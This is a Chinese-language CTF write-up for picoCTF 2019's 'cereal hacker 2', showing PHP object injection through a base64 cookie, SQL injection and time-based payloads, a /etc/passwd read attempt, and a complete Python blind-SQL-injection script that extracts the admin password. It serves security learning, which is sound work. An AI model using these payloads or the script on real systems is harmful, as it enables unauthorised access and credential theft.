应该是延续 php 的漏洞问题...
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
连线进入 https://2019shell1.picoctf.com/problem/62195/ 或 http://2019shell1.picoctf.com:62195,并试着取得 admin 使用者的密码。
无...
与 cereal hacker 1 稍有不同的是,题目只要求取得 addmin 的密码?
不确定是不是还属於 php objection injection 的范畴...输入上一题尝试失败的login; cat /etc/passwd 的话,结果略有不同
会是可以用利的点吗? 待解上一题,努力中...
先来试看看能不能读取使用者的密码档案。
参考 Local File Inclusion 的几个常用的档案名称,其中几个感觉上中了,但输出结果都是空白一片
接着再试 Remote File Inclusion ,结果一样失败。
改个方向,依照 Empire3 的模式,看是否能够注入 PHP 特有的标签语法 。
先找到线上 PHP 语法练习 ,模拟一下网址的输出.。
p.s. 之後的语法也都会在此网站中模拟结果是否正确.
<?php
$_GET= 'abc' ?> <?php echo '...';
echo ("Unable to locate ".$_GET.".php\n");
$target = "content";
$_GET= 'abc' ?> <?php echo $target.'...';
echo ("Unable to locate ".$_GET.".php");
?>
回到题目,将字串加在网址的最後面
file=index <?php echo "abc" ;>
失败,多试几次组合後,发现会省略掉 <> 里面所有的值,那只有单一个呢 <
file=index <?php echo "abc" ;
後面的变数都不见了!! 所以不是滤掉,试者其他 tag
file=index abc
居然可以在结果网页嵌入 HTML 的 tag 啊!玩的很开心,但还是跟解答沾不到边......
再转换另一个方向,看看 cookie 方面能不能得到其他提示。
使用上题的 guest 登入,结果会显示错误。因此使用上一题相同的注入手法,直接注入 以下user_info 到 cookie 中:
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
COOKIE: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTI6IjEnIE9SICcxJz0nMSI7fQ
则会跳出 regular_user 页面
看起来 cookie 的 user_info 仍是可以使用,但是试了注入不同的 payload 都失败...
决定放弃,点出上一题没点到的 walkthough 来看看
Abuse the legacy object to bypass the prepared statement. Use a script to perform a blind SQL injection.
以字面上来看,需要使用相同的 object injection 手法来绕过 SQL 语法,另一个重点则是 Blind SQL Injection 。好吧,再从注入 cookie 中继续努力...
Blind SQL Injection 在 Empire 1 的题目已经用来猜过资料库的类别,因此这里先回到 上一题 Cereal hakcer 1 来测看看是否能成功(成功的话可传回 FLAG)。
先参考 SQL Injection 网站,找出可注入的 payload。
1' OR 'a'='a' --'
再利用 sleep 来判断是哪个资料库:
1' OR 1=1 | sleep(10) --'
完整注入的 Cookie:
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:25:"1' OR 1=1 | sleep(10) --'";}
user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MjU6IjEnIE9SIDE9MSB8IHNsZWVwKDEwKSAtLSciO30
以上传回网页时会停个 10 秒,表示注入成功且资料库为 MySQL。
再 doblue check 一次
1' OR connection_id()=connection_id() --'
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"1' OR connection_id()=connection_id() --'";}
结果能够成功传回 FLAG,的确是 MySQL 无误。
获得以上的注入样本,再回到本题中进入测试,结果...居然没有成功!
这次连看花费的提示仍然失败,只好直接偷喵一下解答。
原来又是一个特殊语法下的漏洞,可以利用 php:// 协议来偷窥到网址程序码。
回传的结果为 base 64 解码,丢回 base 64 解码网站 即可得到原始码。
以下为网页回传结果,再经 base64解码後的程序码,这里只列出重点的 cookie.php:
p.s. 从 require_onece 中可以获得更多存在的档案如 sql_connect.php, cookie.php
coookie.php
<?php
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
die("SQL error");
}
$prepared->bind_param('ss', $this->username, $this->password);
if (!$prepared->execute()) {
die("SQL error");
}
if (!($result = $prepared->get_result())) {
die("SQL error");
}
$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}
$sql_conn->close();
return $is_admin_val;
}
}
/* legacy login */
class siteuser
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}
$sql_conn->close();
return $is_user_val;
}
}
if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}
?>
本次的重点在 cookie .php 这只程序,试着在 regular_user.php 网页中注入旧的方法:
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:12:"1' OR '1'='1";}
失败...
p.s. 这里犯了一个错误,应该要在 admin.php 测,而不是 regular_user
再仔细研究 cookie.php 可以看到此 PHP 再SQL 查询时的语法特徵,
$sql_conn->prepare
於是 google “php prepare bypass “ 找到可能的statement 绕过手法 ,结果失败。这里的写法很标准,看起来并没有误用的写法。
再研究一下 regulaer_user.php ,
<?php
require_once('cookie.php');
if(isset($perm)){
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the regular user page!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
else{
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not logged in!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
?>
才发现想利用regular 这个网页注入 SQL 是徒劳无功的,因为这只程序根本不会执行 SQL,因为与 admin.php 相比,少执行了 $perm->is_admin() 这个语法,因此只要 cookie 存在,就会跳出页面,营造出有登入的假相!
admin.php
<?php
require_once('cookie.php');
if(isset($perm) && $perm->is_admin()){
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the admin page!</h5>
<h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
else{
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not admin!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
?>
因此必须回到 admin.php 试密码。
admin.php 重点仍然放在 cookie.php,仔细研究整个 code ,发现後半段还留有旧的登入功能,名称改名为 siteuser 。
注: 细看 siteuser 这里的语法後,可以更了解为何 Cereal hacker1 的注入语法可以利用。自作聪明补上 ) 後反而不行的理由,请参考以下说明。
# wrong payload: pass') OR ('1'='1
$payload_1 = 'pass\') OR (\'1\'=\'1';
$password = $payload_1;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");
# correct payload
$payload_2 = "pass' OR '1'='1" ;
$password = $payload_2;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");
参考:and 和 or 的顺序
有了新的方向,接下来使用 objection injection 并以旧 class 的名称进行注入:
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:17:"pass' OR '1'='1";}
终於成功了! 网页提示要找出密码,这个资讯虽然还原後的 admin.php 也有,但说明了两件事,一是本题不能直接 pass 帐密,二是此方式注入成功,可用来检验後续的猜密码阶段。
为了保险起见,先以 blind SQL injection 来确认一下这次使用的资料库也是 mysql
1' OR 1=1 | sleep(10) --
结果成功让服务器停了 10 秒才传回结果。
终於来到猜密码的阶段,首先找一个能线上测试 SQL 的网址。然後开始参考语法 对 password 栏位进行猜测。
语法测试正确後,将目标转为本题中的 password:
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass' OR SUBSTRING(username, 1, 1) = 'p";}
猜完第一个字母後为 p 後,原本想要手动猜密码,不过在使用以下 payload 评估密码长度後,
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass' OR LENGTH(password) > 40 AND '1'='1";}
居然大於 40个字....只好认命写程序了...
以下的程序码看起来虽长,但皆从网路上参考范例撰写而成。先将每个功能写成函式後再进行猜测,应该很容易理解才是。
python 简单易用,而且可在 google colab 上线上执行,推荐新手使用!
import base64
import http.cookiejar, urllib.request
import requests
# 使用 base64 编码 cookie
# ref:https://riptutorial.com/zh-TW/python/example/27070/%E7%B7%A8%E7%A2%BC%E5%92%8C%E8%A7%A3%E7%A2%BCbase64
def encode_string(payload):
payload_bytes = payload.encode("UTF-8")
payload_bytes_base64 = base64.b64encode(payload_bytes)
payload_base64_message = payload_bytes_base64.decode('UTF-8')
return payload_base64_message
# 字元如果要判断大小写,注意要加上 BINARY
# ref:https://stackoverflow.com/questions/5629111/how-can-i-make-sql-case-sensitive-string-comparison-on-mysql
#payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass\' OR SUBSTRING(password, 1, 1) = \'p";}'
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:47:"pass\' OR BINARY SUBSTRING(password, 1, 1) = \'p";}'
print (payload)
cookie_base64 = encode_string(payload)
print(cookie_base64)
# 送出请求,设定 cookie
# ref:https://blog.m157q.tw/posts/2018/01/06/use-cookie-with-urllib-in-python/
def get_web_response(cookie):
url = 'http://2019shell1.picoctf.com:62195/index.php?file=admin'
cookies = dict(user_info=cookie)
r = requests.get(url, cookies=cookies)
return(r.text)
response = get_web_response(cookie_base64)
print(response)
# 判断回应是否正确
# ref:https://stackoverflow.com/questions/3437059/does-python-have-a-string-contains-substring-method
def is_flag_match(response):
match = False
if "Flag" not in response:
match = False
else:
match = True
return match
is_match = is_flag_match(response)
print (is_match)
# 先猜密码长度
# ref: https://snakify.org/en/lessons/for_loop_range/
def guess_password_length(star,end):
for i in range(star, end+1):
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass\' OR LENGTH(password) = '+str(i)+' AND \'1\'=\'1";}'
cookie_base64 = encode_string(payload)
response = get_web_response(cookie_base64)
is_match = is_flag_match(response)
if is_match:
print ("length: "+str(i))
# 呼叫 guess_password_length 後可得知长度为 41
#guess_password_length(20,50)
# >> length: 41
# 再对 password 每一个位置猜字元
# ref:https://realpython.com/python-enumerate/
def guess_password(star,end,guess_dict):
print ('guess password...')
for i in range(star, end+1):
#print ("position ",str(i),":")
for s in guess_dict:
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:'+str(46+len(str(i)))+':"pass\' OR BINARY SUBSTRING(password, '+str(i)+', 1) = \''+s+'";}'
cookie_base64 = encode_string(payload)
response = get_web_response(cookie_base64)
is_match = is_flag_match(response)
if is_match:
#print (s)
print (s,end='')
break
guess_dict = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMOPQRSTUVWXYZ0123456789-_{}"
guess_password(1,41,guess_dict)
最後得出密码即为 FLAG
p.s. 这里要注意一下大小写判断的部份,如果没有在 substring 前加上 BINARY 是会将字母都视为小写的!!
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}
<<: ## Day28 LineBot models小介绍
高中听过有人念ㄙㄨㄟˊ 圆形,我当时真是害怕极了。 --- 椭圆曲线 (Elliptic curve...
在辅导客户中多数都是外销公司的辅导顾问案件,尤於外销市场不同於内销市场在操作 业务开发 的确有难度。...
来把卡摆上去吧 我们先来做卡的外型 放在 lib/card_web/component.ex 里面 ...
前置作业 复制程序码 还记得前天最後建立的资料夹吗,把它用 VS code 打开,再建立一个 php...
我的开发环境是ubuntu20,但是部署环境是ubuntu18; 开发的语言是python,出现了一...